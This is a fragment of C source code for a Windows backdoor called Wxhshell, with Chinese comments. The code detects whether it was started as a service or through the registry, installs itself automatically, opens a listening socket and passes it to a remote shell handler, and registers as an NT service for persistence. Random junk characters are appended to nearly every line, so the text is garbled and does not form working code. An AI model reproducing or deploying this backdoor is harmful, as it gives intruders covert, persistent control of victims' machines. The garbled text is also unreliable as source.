} PROCESS_BASIC_INFORMATION; %?gh;? GD
*U vh;d{
PROCNTQSIP NtQueryInformationProcess; H1`}3}"
/&g5f4[|p
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *~~&*&+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2R:I23[#B
>
YHwWf-
HANDLE hProcess; O s*B%,}
PROCESS_BASIC_INFORMATION pbi; dg9
DBn#
}P8@\2@=T
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Kq/[$~0
if(NULL == hInst ) return 0; {\!_S+}{
;9>(yJI+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); biTET|U`$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BU-m\Kf)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^oNk}:>
0/7y&-/(
if (!NtQueryInformationProcess) return 0; zJE$sB.f
OR4ZjogzY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q{ hXP*5
if(!hProcess) return 0; 1bW[RK;GE
1'qllkT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %#!pAUP\&
da c?b(
CloseHandle(hProcess); [D[&aA
Z^AOV:|m
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q.s 2x0
if(hProcess==NULL) return 0;
~f/nq/8
cVHv>nd#
HMODULE hMod; A#:5b5R
char procName[255]; %y(oY
unsigned long cbNeeded; m&EJ@,H
';g]!XsY)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PP\nR
@
mK!73<p_
CloseHandle(hProcess); jfxW9][
RQzcsO
if(strstr(procName,"services")) return 1; // 以服务启动 rQ0V3x1"Qx
*XRAM.
return 0; // 注册表启动 ?LP&VU1
} 7_,)"J2^
"c[ D0{\{
// 主模块 9$-V/7@)
int StartWxhshell(LPSTR lpCmdLine) DOi\DJV!
{ C_>dJYM
SOCKET wsl; 4a'GWzUtS
BOOL val=TRUE; h{ s- e.
int port=0; ^a=,,6T
struct sockaddr_in door; FX+;azE7
5v51:g>c
if(wscfg.ws_autoins) Install(); ![ &
go
bERYC|
port=atoi(lpCmdLine); ^j"*-)R
iqCZIahf
if(port<=0) port=wscfg.ws_port; dA;f`Bi;Q
%_*q'6K
WSADATA data; B^W0Ik`m
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yqdhLX|Mk
Jh3(5d"MV
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o$k1&hyH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &|t*9D
door.sin_family = AF_INET; 9~8UG (
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?S9!;x<
door.sin_port = htons(port); P
I gbeP
Ra\>^W6z
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tvH{[e$
closesocket(wsl); X{SD3j=G#
return 1; %xE9vN;
} P{
AJH1
2jQ|4$9j
if(listen(wsl,2) == INVALID_SOCKET) { h= uv4&
closesocket(wsl); iV8j(HV
return 1; G813NoS o
} l1X&Nw1W
Wxhshell(wsl); uj@rv&
WSACleanup(); ,z6&k
({/@=e x*
return 0; lNtZd?=>
]AlRu(
} 7r=BGoA2E
bAIo5lr
// 以NT服务方式启动 +" 4E:9P?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GT|=Kx$;
{ !oTF2Q+C
DWORD status = 0; 9p
;)s
DWORD specificError = 0xfffffff; S^}@X?v
$<jI<vD+:
serviceStatus.dwServiceType = SERVICE_WIN32; @+LZSd+I
serviceStatus.dwCurrentState = SERVICE_START_PENDING; cwK6$Ax
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L&td4`2y
serviceStatus.dwWin32ExitCode = 0; ]|cL+|':y
serviceStatus.dwServiceSpecificExitCode = 0; !(=bH"P
serviceStatus.dwCheckPoint = 0; b[<Q_7~2
serviceStatus.dwWaitHint = 0; v#EXlpS
=i jGB~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;\yVwur
if (hServiceStatusHandle==0) return; $i@~$m7d-
s'yA^
VPf
status = GetLastError(); $xT'cl/IH
if (status!=NO_ERROR) !"\UT&